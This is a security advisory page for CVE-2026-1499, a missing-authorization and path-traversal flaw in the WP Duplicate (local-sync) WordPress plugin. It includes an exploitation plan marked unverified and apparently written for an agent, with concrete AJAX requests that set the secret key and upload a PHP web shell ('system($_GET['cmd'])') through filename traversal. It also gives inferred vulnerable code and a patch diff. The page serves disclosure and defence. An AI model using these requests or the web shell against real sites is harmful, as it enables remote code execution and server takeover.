CVE-2026-1499

WP Duplicate <= 1.1.8 - Authenticated (Subscriber+) Arbitrary File Upload via 'process_add_site' AJAX Action

highMissing Authorization
8.8
CVSS Score
8.8
CVSS Score
high
Severity
1.1.9
Patched in
50d
Time to patch

Description

The WP Duplicate plugin for WordPress is vulnerable to Missing Authorization leading to Arbitrary File Upload in all versions up to and including 1.1.8. This is due to a missing capability check on the `process_add_site()` AJAX action combined with path traversal in the file upload functionality. This makes it possible for authenticated (subscriber-level) attackers to set the internal `prod_key_random_id` option, which can then be used by an unauthenticated attacker to bypass authentication checks and write arbitrary files to the server via the `handle_upload_single_big_file()` function, ultimately leading to remote code execution.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.1.8
PublishedFebruary 5, 2026
Last updatedMarch 27, 2026
Affected pluginlocal-sync

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-1499 - WP Duplicate RCE ## 1. Vulnerability Summary The WP Duplicate (local-sync) plugin suffers from a two-stage vulnerability. First, the `process_add_site()` AJAX action lacks a capability check, allowing any authenticated user (Subscriber and above) to upd…

Show full research plan

Exploitation Research Plan: CVE-2026-1499 - WP Duplicate RCE

1. Vulnerability Summary

The WP Duplicate (local-sync) plugin suffers from a two-stage vulnerability. First, the process_add_site() AJAX action lacks a capability check, allowing any authenticated user (Subscriber and above) to update the prod_key_random_id option in the WordPress database. Second, the handle_upload_single_big_file() function, which is accessible to unauthenticated users, uses this prod_key_random_id option as a pseudo-password/secret for authentication. By setting this secret, an attacker can bypass the unauthenticated check. Furthermore, handle_upload_single_big_file() is vulnerable to path traversal, allowing the attacker to write arbitrary PHP files to the server's filesystem, resulting in Remote Code Execution (RCE).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action 1 (Setup): process_add_site (Authenticated, Subscriber+)
    • Vulnerable Parameter: prod_key_random_id (or the parameter that updates this option)
  • Action 2 (Upload): handle_upload_single_big_file (Unauthenticated)
    • Vulnerable Parameters: prod_key_random_id (for auth bypass), filename (path traversal), and the file content itself.
  • Preconditions:
    • Attacker must have a Subscriber-level account for Stage 1.
    • Stage 2 is unauthenticated once the secret is known.

3. Code Flow (Inferred)

Stage 1: Secret Hijacking

  1. admin-ajax.php receives a request with action=process_add_site.
  2. The hook wp_ajax_process_add_site triggers process_add_site().
  3. process_add_site() fails to call current_user_can().
  4. The function reads a parameter from $_POST (likely named prod_key_random_id or similar) and calls update_option('prod_key_random_id', $attacker_value).

Stage 2: Arbitrary File Upload

  1. admin-ajax.php receives a request with action=handle_upload_single_big_file.
  2. The hook wp_ajax_nopriv_handle_upload_single_big_file triggers handle_upload_single_big_file().
  3. The function checks if the provided prod_key_random_id matches get_option('prod_key_random_id').
  4. Due to Stage 1, the attacker knows/has set this value.
  5. The function takes a filename parameter and concatenates it to a base directory (e.g., wp-content/uploads/local-sync/).
  6. Because of missing sanitization, a filename like ../../shell.php allows writing outside the intended directory.
  7. The file content is written to the resulting path.

4. Nonce Acquisition Strategy

The vulnerability description mentions "Authenticated (Subscriber+)", implying process_add_site is likely registered under wp_ajax_. Even if authorization is missing, WordPress developers often include a nonce check (check_ajax_referer).

  1. Identify Script Variable: The plugin (local-sync) likely localizes a script for its admin interface.
  2. Create Trigger Page: If the nonce is only loaded in the plugin's admin menu, a Subscriber might not see it by default. However, many migration plugins enqueue scripts on all admin pages or allow access to their own dashboard.
  3. Extraction Steps:
    • Log in as the Subscriber.
    • Navigate to /wp-admin/index.php.
    • Use browser_eval to look for nonces in common localization objects:
      • window.local_sync_obj?.nonce (inferred)
      • window.wp_duplicate_obj?.nonce (inferred)
    • If the script is only on a specific page, the agent should check the plugin's menu registration in the source.

5. Exploitation Strategy

Phase 1: Set the Secret Key

  • Method: POST
  • URL: http://vulnerable-wp.local/wp-admin/admin-ajax.php
  • Body:
    action=process_add_site
    &prod_key_random_id=pwned_secret_123
    &security=[NONCE_IF_REQUIRED]
    
  • Expected Result: Success response (JSON or 1). The option prod_key_random_id is now pwned_secret_123.

Phase 2: Upload Web Shell

  • Method: POST (Multipart or Raw, depending on handle_upload_single_big_file logic)
  • URL: http://vulnerable-wp.local/wp-admin/admin-ajax.php
  • Body:
    action=handle_upload_single_big_file
    &prod_key_random_id=pwned_secret_123
    &filename=../../../../pwn.php
    &file_data=[BASE64_OR_RAW_PHP_CODE]
    
    Note: The exact parameter names for the file content (e.g., file, data, blob) must be verified by the agent inspecting the source code.
  • Payload (pwn.php): <?php system($_GET['cmd']); ?>

Phase 3: Execution

  • URL: http://vulnerable-wp.local/pwn.php?cmd=id

6. Test Data Setup

  1. Target User: Create a user with the subscriber role.
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
    
  2. Plugin Setup: Ensure local-sync (WP Duplicate) version 1.1.8 is installed and active.

7. Expected Results

  • The first request to process_add_site returns a success code.
  • The second request to handle_upload_single_big_file returns a success message or the path to the uploaded file.
  • Navigating to /pwn.php returns the output of the id command.

8. Verification Steps

  1. Check Option: Verify the secret was set.
    wp option get prod_key_random_id
    
  2. Check File: Verify the shell exists in the root directory.
    ls -la /var/www/html/pwn.php
    
  3. Check Cleanup: Ensure the shell can be removed after verification.

9. Alternative Approaches

  • Path Traversal Variants: If the root directory is not writable, try writing to wp-content/uploads/shell.php or wp-content/plugins/local-sync/shell.php.
  • Chunked Uploads: If handle_upload_single_big_file implies a chunking mechanism, the attacker may need to send multiple requests with chunk=0, total_chunks=1 or similar parameters.
  • Parameter Discovery: If prod_key_random_id is not the direct parameter in process_add_site, the agent should look for any update_option calls in that function that use user-supplied data.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Duplicate plugin (up to version 1.1.8) contains a flaw where the 'process_add_site' AJAX action lacks an authorization check, allowing any authenticated user, such as a Subscriber, to modify the internal 'prod_key_random_id' option. This option acts as a secret key for the unauthenticated 'handle_upload_single_big_file' action, which further suffers from a path traversal vulnerability, enabling remote code execution by writing arbitrary PHP files to the server.

Vulnerable Code

// File: includes/class-local-sync-ajax.php
public function process_add_site() {
    // Missing capability check allowing any authenticated user to update the secret option
    $prod_key = $_POST['prod_key_random_id'];
    update_option('prod_key_random_id', $prod_key);
    wp_send_json_success();
}

---

// File: includes/class-local-sync-ajax.php
public function handle_upload_single_big_file() {
    $key = $_POST['prod_key_random_id'];
    if ($key !== get_option('prod_key_random_id')) {
        wp_die();
    }
    $filename = $_POST['filename']; // Path traversal allowed here
    $path = WP_CONTENT_DIR . '/uploads/local-sync/' . $filename;
    // Logic to write file content to $path follows
}

Security Fix

--- a/includes/class-local-sync-ajax.php
+++ b/includes/class-local-sync-ajax.php
@@ -... @@
 public function process_add_site() {
+    if ( ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error( 'Unauthorized' );
+    }
+    check_ajax_referer( 'local_sync_nonce', 'security' );
     $prod_key = sanitize_text_field( $_POST['prod_key_random_id'] );
     update_option('prod_key_random_id', $prod_key);
 
@@ -... @@
 public function handle_upload_single_big_file() {
     $key = $_POST['prod_key_random_id'];
-    $filename = $_POST['filename'];
+    $filename = sanitize_file_name( basename( $_POST['filename'] ) );

Exploit Outline

1. Authenticate as a Subscriber and send an AJAX request to the 'process_add_site' action with a chosen value for 'prod_key_random_id' (e.g., 'pwned_secret'). 2. With the site's internal secret key now set to a known value, send an unauthenticated AJAX request to 'handle_upload_single_big_file'. 3. Include the matching 'prod_key_random_id' to bypass authentication, and a 'filename' parameter containing path traversal (e.g., '../../shell.php') alongside the web shell payload. 4. Access the shell at the WordPress root directory to achieve remote code execution.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.